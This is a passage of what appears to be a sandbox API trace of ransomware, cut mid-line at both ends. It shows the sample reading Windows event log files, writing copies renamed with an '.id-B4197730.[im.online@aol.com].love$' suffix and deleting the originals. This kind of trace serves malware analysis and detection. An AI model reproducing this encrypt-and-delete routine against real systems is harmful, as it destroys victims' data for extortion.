(lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.249] lstrlenW (lpString=".1cd") returned 4 [0117.249] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.249] lstrlenW (lpString=".jpg") returned 4 [0117.249] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.249] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0117.249] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0117.249] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.250] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0117.250] CloseHandle (hObject=0x344) returned 1 [0117.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0117.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.250] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.250] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0117.251] GetLastError () returned 0x0 [0117.251] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0117.764] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0117.969] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.969] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x136, lpOverlapped=0x0) returned 1 [0117.969] SetEndOfFile (hFile=0x318) returned 1 [0117.969] CloseHandle (hObject=0x318) returned 1 [0117.972] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.972] SetEndOfFile (hFile=0x344) returned 1 [0117.973] CloseHandle (hObject=0x344) returned 1 [0117.973] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.973] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0117.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.974] lstrlenW (lpString=".doc") returned 4 [0117.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString=".docx") returned 5 [0117.974] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.974] lstrlenW (lpString=".pdf") returned 4 [0117.974] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString=".xls") returned 4 [0117.974] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString=".xlsx") returned 5 [0117.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.974] lstrlenW (lpString=".ppt") returned 4 [0117.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.974] lstrlenW (lpString=".zip") returned 4 [0117.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString=".rar") returned 4 [0117.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString=".bz2") returned 4 [0117.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString=".7z") returned 3 [0117.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.974] lstrlenW (lpString=".dbf") returned 4 [0117.974] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.974] lstrlenW (lpString=".1cd") returned 4 [0117.974] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.974] lstrlenW (lpString=".jpg") returned 4 [0117.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.975] lstrlenW (lpString=".doc") returned 4 [0117.975] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString=".docx") returned 5 [0117.975] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.975] lstrlenW (lpString=".pdf") returned 4 [0117.975] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString=".xls") returned 4 [0117.975] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString=".xlsx") returned 5 [0117.975] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.975] lstrlenW (lpString=".ppt") returned 4 [0117.975] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.975] lstrlenW (lpString=".zip") returned 4 [0117.975] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString=".rar") returned 4 [0117.975] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString=".bz2") returned 4 [0117.975] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString=".7z") returned 3 [0117.975] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.975] lstrlenW (lpString=".dbf") returned 4 [0117.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.975] lstrlenW (lpString=".1cd") returned 4 [0117.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0117.975] lstrlenW (lpString=".jpg") returned 4 [0117.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.976] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0117.976] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0117.976] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.987] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0117.987] CloseHandle (hObject=0x344) returned 1 [0117.987] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0117.987] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.987] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.987] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0117.988] GetLastError () returned 0x0 [0117.988] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0117.991] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0117.994] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.994] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x134, lpOverlapped=0x0) returned 1 [0117.994] SetEndOfFile (hFile=0x318) returned 1 [0117.994] CloseHandle (hObject=0x318) returned 1 [0117.997] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.997] SetEndOfFile (hFile=0x344) returned 1 [0117.998] CloseHandle (hObject=0x344) returned 1 [0117.998] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.998] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0117.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0117.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0117.999] lstrlenW (lpString=".doc") returned 4 [0117.999] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString=".docx") returned 5 [0117.999] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.999] lstrlenW (lpString=".pdf") returned 4 [0117.999] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString=".xls") returned 4 [0117.999] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString=".xlsx") returned 5 [0117.999] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.999] lstrlenW (lpString=".ppt") returned 4 [0117.999] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0117.999] lstrlenW (lpString=".zip") returned 4 [0117.999] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString=".rar") returned 4 [0117.999] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString=".bz2") returned 4 [0117.999] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString=".7z") returned 3 [0117.999] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0117.999] lstrlenW (lpString=".dbf") returned 4 [0117.999] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0117.999] lstrlenW (lpString=".1cd") returned 4 [0117.999] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0117.999] lstrlenW (lpString=".jpg") returned 4 [0117.999] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0118.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0118.000] lstrlenW (lpString=".doc") returned 4 [0118.000] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString=".docx") returned 5 [0118.000] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.000] lstrlenW (lpString=".pdf") returned 4 [0118.000] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString=".xls") returned 4 [0118.000] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString=".xlsx") returned 5 [0118.000] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.000] lstrlenW (lpString=".ppt") returned 4 [0118.000] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0118.000] lstrlenW (lpString=".zip") returned 4 [0118.000] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString=".rar") returned 4 [0118.000] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString=".bz2") returned 4 [0118.000] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString=".7z") returned 3 [0118.000] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0118.000] lstrlenW (lpString=".dbf") returned 4 [0118.000] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0118.000] lstrlenW (lpString=".1cd") returned 4 [0118.000] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0118.000] lstrlenW (lpString=".jpg") returned 4 [0118.000] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.001] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0118.001] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0118.001] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0118.001] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1052672) returned 1 [0118.001] CloseHandle (hObject=0x344) returned 1 [0118.001] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0118.001] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0118.001] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0118.001] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.001] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.002] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0118.002] GetLastError () returned 0x0 [0118.002] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0118.430] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0119.694] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x1010, lpOverlapped=0x0) returned 1 [0119.705] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1020, lpOverlapped=0x0) returned 1 [0119.709] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.709] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x170, lpOverlapped=0x0) returned 1 [0119.709] SetEndOfFile (hFile=0x318) returned 1 [0120.603] CloseHandle (hObject=0x318) returned 1 [0121.100] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.100] SetEndOfFile (hFile=0x344) returned 1 [0121.120] CloseHandle (hObject=0x344) returned 1 [0121.120] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.120] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0121.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.121] lstrlenW (lpString=".doc") returned 4 [0121.121] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString=".docx") returned 5 [0121.121] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.121] lstrlenW (lpString=".pdf") returned 4 [0121.121] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString=".xls") returned 4 [0121.121] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString=".xlsx") returned 5 [0121.121] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.121] lstrlenW (lpString=".ppt") returned 4 [0121.121] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.121] lstrlenW (lpString=".zip") returned 4 [0121.121] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString=".rar") returned 4 [0121.121] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString=".bz2") returned 4 [0121.121] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.121] lstrlenW (lpString=".7z") returned 3 [0121.121] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.122] lstrlenW (lpString=".dbf") returned 4 [0121.122] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.122] lstrlenW (lpString=".1cd") returned 4 [0121.122] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.122] lstrlenW (lpString=".jpg") returned 4 [0121.122] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.122] lstrlenW (lpString=".doc") returned 4 [0121.122] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString=".docx") returned 5 [0121.122] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.122] lstrlenW (lpString=".pdf") returned 4 [0121.122] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString=".xls") returned 4 [0121.122] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString=".xlsx") returned 5 [0121.122] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.122] lstrlenW (lpString=".ppt") returned 4 [0121.122] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.122] lstrlenW (lpString=".zip") returned 4 [0121.122] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.122] lstrlenW (lpString=".rar") returned 4 [0121.122] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.123] lstrlenW (lpString=".bz2") returned 4 [0121.123] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.123] lstrlenW (lpString=".7z") returned 3 [0121.123] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.123] lstrlenW (lpString=".dbf") returned 4 [0121.123] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.123] lstrlenW (lpString=".1cd") returned 4 [0121.123] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0121.123] lstrlenW (lpString=".jpg") returned 4 [0121.123] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.123] lstrcmpiW 